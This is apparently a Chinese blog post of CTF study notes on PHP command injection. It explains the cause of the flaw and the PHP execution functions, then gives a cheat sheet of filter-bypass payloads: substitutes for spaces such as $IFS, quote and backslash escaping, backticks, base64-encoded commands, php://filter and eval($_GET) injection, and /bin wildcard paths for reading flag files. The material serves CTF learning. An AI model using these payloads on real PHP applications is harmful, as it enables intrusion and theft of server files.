CTF-RCE命令执行

发布时间 2023-12-01 19:03:44作者: wplsyx

RCE命令执行

基本概念

当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如 PHP 中的 systemexecshell_exec 等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成命令执行攻击。

漏洞产生条件

  • 调用第三方组件存在代码执行漏洞
  • 用户的输入作为系统命令的参数拼接到命令中
  • 对用户的输入过滤不严格

常用的Linux命令

常用Linux命令

执行函数

  1. system() 直接在终端打印返回结果,成功则返回命令输出的最后一行,失败则返回FALSE
  2. passthru() 执行外部程序并且显示原始输出,只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。
  3. exec() 执行一个外部程序,命令执行结果的最后一行内容。
  4. pcntl_exec() 在当前进程空间执行指定程序
  5. shell_exec() 命令执行的输出。如果执行过程中发生错误或者进程不产生输出,则返回NULL。
  6. popen() 函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行。
  7. proc_open()popen()函数相似,区别是前者提供的是双向通道
  8. 反引号与shell_exec功能相同,执行shell命令并返回输出的字符串。(``)
  9. ob_start() 用于打开缓冲区,开始输出缓冲, 这时PHP停止输出, 在这以后的输出都被转到一个内部的缓冲里。

命令连接符

主要是有; | || & &&这几种

command1&command2 两个命令同时执行
command1&&command2 只有前面命令执行成功,后面命令才继续执行
command1;command2 不管前面命令执行成功没有,后面的命令继续执行
command1||command2 顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令
command1|command2 上一条命令的输出,作为下一条命令参数

模糊匹配

?与*

*可以匹配多个字符,?只能匹配一个字符

常用读取文件命令

cat
tac
nl
more
head
less
tail
od
pr

绕过空格过滤

{cat,flag.php} //cat flag.php
%20		空格的url编码
%09		tab键	
%0a		回车
\$IFS\$9
\${IFS}
$IFS
${IFS}
<

无参数的RCE

highlight_file(next(array_reverse(scandir(pos(localeconv())))));

需要用到的函数
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
scandir():获取目录下的文件,scandir(.):获取当前目录下所有文件
pos():返回数组中的当前元素的值。
array_reverse():数组逆序
next(): 函数将内部指针指向数组中的下一个元素,并输出。
highlight_file():函数进行文件内容的读取,并输出

ctfshowWEB40

各种绕过姿势

使用转义符号

ca\t /fl\ag
cat fl''ag

拼接法

a=fl;b=ag;cat$IFS$a$b

反引号绕过

cat `ls`//cat system("ls");

base64编码绕过

`echo Y2F0Cg==|base64 -d` flag
//cat的base64编码为Y2F0Cg==

配合文件包含

include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

配合传参

eval($_GET[1]);&1=system("ls%20/");

拷贝文件或者修改文件名

system("cp fla*.php 1.txt");
system("mv fla*.php 1.txt");

调用/bin

/bin/?at${IFS}f???????
在Linux中,/bin是安装基本系统管理命令和二进制文件的文件夹。这些二进制文件是指执行文件,通常包含在系统启动过程中需要的工具和命令行工具。/bin目录中包含了大量的基本命令和工具,包括:

\1. bash - 标准的命令行Shell
\2. cat - 将文件内容输出到屏幕
\3. cp - 复制文件
\4. date - 显示或设置系统时间
\5. mv - 移动或重命名文件
\6. pwd - 显示当前所在的工作目录
\7. rm - 删除文件或目录
\8. touch - 新建空白文件或更改文件的访问和修改时间

可以构造/bin/base64 fla*.php

进而进行简化成/???/????64 ????.???